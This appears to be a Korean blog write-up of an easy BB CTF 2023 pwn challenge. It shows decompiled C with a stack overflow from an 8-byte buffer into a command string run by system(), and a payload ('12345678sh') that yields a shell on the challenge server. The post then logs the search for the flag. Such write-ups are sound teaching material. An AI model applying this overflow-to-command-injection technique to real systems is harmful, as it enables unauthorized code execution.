728x90
반응형
1. intro
초보를 위한 낮은 난이도의 CTF.
DICE CTF에서 내상을 입고 BB CTF에서 약간 회복했다.
2. code 및 분석
2.1. code
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [rsp+8h] [rbp-28h] BYREF
char command[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
strcpy(command, "ls");
puts("Hi! would you like me to ls the current directory?");
read(0, buf, 0x18uLL);
if ( !strcmp(buf, "no\n") )
{
puts("Oh, ok :(");
exit(0);
}
puts("Ok, here ya go!\n");
system(command);
return 0;
}
2.2. 분석
command 변수에 "ls" 문자열을 넣고,
buf에 입력을 받은 다음,
입력 받은 문자열이 no 면 종료,
아니면 command를 system 함수를 통해 실행시켜 준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
stack overflow로 인한 변수 값 침범.
3.2. 공격 준비
딱 보면 답이 보인다.
이 정도 수준의 문제는... 사실... 입문용인 것 같다.
입력 받는 문자열은 총 0x18 bytes이나 변수 buf의 크기가 8 bytes 이다.
그리고 buf 변수의 위치가 rbp+ 0x8이고
command 변수의 위치가 rbp + 0x10이니
8 bytes의 더미를 넣고 이후에 원하는 명령어를 삽입하면 이를 실행시켜줄 것이다.
4. exploit
별거 없이
12345678sh
만으로 셀을 딸 수 있다.
근데 셀을 따서 보니 flag 파일이 없다.
┌[wyv3rn🐲]-(/mnt/c/hacking/bop)
└> nc pwn.bbctf.fluxus.co.in 4001
Hi! would you like me to ls the current directory?
12345678sh
Ok, here ya go!
ls
ez-pwn-1
그래서 숨겨져있나 봤더니 숨겨진 파일이 있었다.
ls -al
total 40
drwxr-x--- 1 root pwnable_user 4096 Feb 4 05:23 .
drwxr-xr-x 1 root root 4096 Feb 4 05:23 ..
-rw-r--r-- 1 root pwnable_user 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 root pwnable_user 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 root pwnable_user 807 Jan 6 2022 .profile
drwxr-xr-x 1 root pwnable_user 4096 Feb 4 05:23 .the_flag_is_in_here
-r-xr-x--- 1 root pwnable_user 16184 Feb 3 17:43 ez-pwn-1
cat .the_flag_is_in_here 라고 해봤다.
근데 안 읽어진다.
flag가 여기 안에 있다고 그래서 그냥 이 시스템 안 어딘가에 있다고 생각했다.
혹시 다른데 숨겨져있나 해서 find 명령어로 권한이 있는 파일을 죄다 찾아봤더니...
find / -gid 1000 | grep flag
/home/pwnable_user/.the_flag_is_in_here
/home/pwnable_user/.the_flag_is_in_here/flag.txt
숨겨진 파일이 아니라 디렉토리였고 그 안에 플래그가 있었다 -_-
파일인지 디렉토리인지 확인하자 ㅋㅋㅋ
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
LA CTF 2023 - pwn/gatekeep (0) | 2023.02.13 |
---|---|
BB CTF 2023 - Medium pwn (0) | 2023.02.06 |
DiceCTF 2023 - pwn/bop (0) | 2023.02.06 |
KnightCTF 2023 - KrackMe 1.0 (0) | 2023.01.23 |
idekCTK 2022 - Typop (0) | 2023.01.16 |